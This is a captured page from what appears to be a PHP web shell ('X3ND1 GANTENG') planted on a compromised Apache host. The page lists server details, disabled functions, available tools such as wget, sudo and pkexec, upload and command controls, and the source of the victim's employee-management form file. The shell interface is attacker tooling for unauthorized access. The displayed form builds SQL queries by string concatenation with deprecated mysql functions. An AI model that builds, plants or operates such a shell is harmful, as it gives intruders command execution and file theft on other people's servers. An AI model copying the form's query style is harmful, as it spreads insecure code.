X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.145.107.223
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/Intellilead/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/Intellilead/users/add_emp_form.php
<?php include('../template/header.php'); ?>
        <!-- page heading start-->
             <div class="panel box-shadow-none content-header">
                  <div class="panel-body">
                    <div class="col-md-12">
                        <h3 class="animated fadeInLeft">Manage Employee</h3>
                        <p class="animated fadeInDown">
                          Employee <span class="fa-angle-right fa"></span>Manage Employee
                        </p>
                    </div>
                  </div>
              </div>
         <!-- page heading end-->
        <!--body wrapper start-->
       <div class="col-md-12">
		    <?php include('../template/response.php');?>
                <div class="col-md-12 panel">
                  <div class="col-md-12 panel-heading">
                    <h4></h4>
                  </div>
                        <form id="commentForm" method="post" enctype="multipart/form-data" action="add_emp.php">
						<div class="col-md-12 panel-body">
                               <div class="col-md-12">
							    <div class="col-md-6">                                 	
								   <input name="usertype" type="hidden" value="4">
                                   <div class="form-group form-animate-text" style="margin-top:40px !important;">                                       
                                            <input class="form-text mask-name noSpace" id="cname" name="user" minlength="2" type="text" value="" required/>
                                       <span class="bar"></span>
										<label>User Name</label>
                                    </div>
									 <div class="form-group form-animate-text" style="margin-top:40px !important;">                                        
                                            <input class="form-text mask-name" id="cpassword" type="password" name="password" value="" required />
                                        <span class="bar"></span>
										<label>Password</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                       
                                            <input class="form-text mask-name" id="cname" name="name" type="text" value="" required/>
                                       <span class="bar"></span>
										<label>Name</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                        
                                            <input class="form-text mask-name noSpace numeric" id="ccontact" type="text" name="contact" value="" required  maxlength="10" onchange="PhoneValidation(this);" />
                                        <span class="bar"></span>
										<label>Phone Number</label>
                                    </div>
                                   <div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                           <select class="form-text mask-name" name="role" required oninvalid="setCustomValidity('Please Select Role')">
												<option value="">Select Role</option>
												<?php 
                                                $roleRes= executeQuery("SELECT role_id,role_name FROM mstr_role where status='Active'");
                                                while($row=mysql_fetch_array($roleRes)) { ?>
												<option value="<?php echo $row['role_id'];?>"><?php echo $row['role_name'];?></option>
												<?php } ?>
                                            </select>
                                        <span class="bar"></span>
										<label>Role</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                           <select class="form-text mask-name" name="rep_head"  >
												<option value="">Select Reporting Head</option>
												<?php 
                                                $roleRes= executeQuery("SELECT user_id,user_name,name,role_id FROM mstr_user where status='Active' and user_type='4' and company_id ='".$_SESSION['company_id']."'");
                                                while($row=mysql_fetch_array($roleRes)) { ?>
												<option value="<?php echo $row['user_id'];?>"><?php echo $row['name'];?> - <?php echo getRoleName($row['role_id']);?></option>
												<?php } ?>
                                            </select>
                                        <span class="bar"></span>
										<label>Reporting Head</label>
                                    </div>
								</div>
								<div class="col-md-6">
                                    <div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                            <input class="form-text mask-name" id="cemail" type="email" name="email" value="" required />
                                        <span class="bar"></span>
										<label>E-Mail Address</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                            <input class="form-text mask-name" id="cemail" type="email" name="email2" value="" required />
                                        <span class="bar"></span>
										<label>Official E-Mail</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                           <select class="form-text mask-name" name="dept_id" >
												<option value="">Select Department</option>
												<?php 
                                                $deptRes= executeQuery("SELECT dept_id,dept_name FROM mstr_dept where status='Active' and company_id ='".$_SESSION['company_id']."'");
                                                while($row=mysql_fetch_array($deptRes)) { ?>
												<option value="<?php echo $row['dept_id'];?>"><?php echo $row['dept_name'];?></option>
												<?php } ?>
                                            </select>
                                        <span class="bar"></span>
										<label>Department</label>
                                    </div>
									<div class="form-group form-animate-text" style="margin-top:40px !important;">                                           
                                            <select class="form-text mask-name" name="desi_id" >
												<option value="">Select Designation</option>
												<?php 
                                                $deptRes= executeQuery("SELECT desi_id,desi_name FROM mstr_designation where status='Active' and company_id ='".$_SESSION['company_id']."'");
                                                while($row=mysql_fetch_array($deptRes)) { ?>
												<option value="<?php echo $row['desi_id'];?>"><?php echo $row['desi_name'];?></option>
												<?php } ?>
                                            </select>
                                        <span class="bar"></span>
										<label>Designation</label>
                                    </div>
                                   <div class="form-group form-animate-text" style="margin-top:40px !important;">   
                                        <label for="exampleInputFile" class="control-label col-lg-2">Image</label>
                                        <div class="col-md-8">
                                        <div class="fileupload fileupload-new" data-provides="fileupload">
                                            <div class="fileupload-new thumbnail" style="max-width:100px;max-height:100px;">
                                                <img src="../resources/user/no_image.jpg" alt="" />
                                            </div>
                                            <div class="fileupload-preview fileupload-exists thumbnail"  style="max-width: 200px; max-height: 150px; line-height: 20px;"></div>
                                            <div>
                                                   <span class="btn btn-default btn-file">
                                                   <span class="fileupload-new"><i class="fa fa-paper-clip"></i> Select image</span>
                                                   <span class="fileupload-exists"><i class="fa fa-undo"></i> Change</span>
                                                	<input type="file" class="default" name="image" />
                                                   </span>
                                                <a href="#" class="btn btn-danger fileupload-exists" data-dismiss="fileupload"><i class="fa fa-trash"></i> Remove</a>
                                            </div>
                                        </div>
                                    	</div>
                                    </div>
								</div>	
                                    <div class="form-group">
                                        <div class="col-lg-offset-2 col-lg-10">
                                            <button class="btn btn-primary" type="submit" name="adduser" value="submit">Add User</button>
                                        </div>
                                    </div>
									 </div>
                                   </div>
                                </form>
                            </div>
                        </div>
        <!--body wrapper end-->
<!--file upload-->
<script type="text/javascript" src="../style/js/bootstrap-fileupload.min.js"></script>
<?php include('../template/footer.php');?>

Anon7 - 2022
SCDN GOK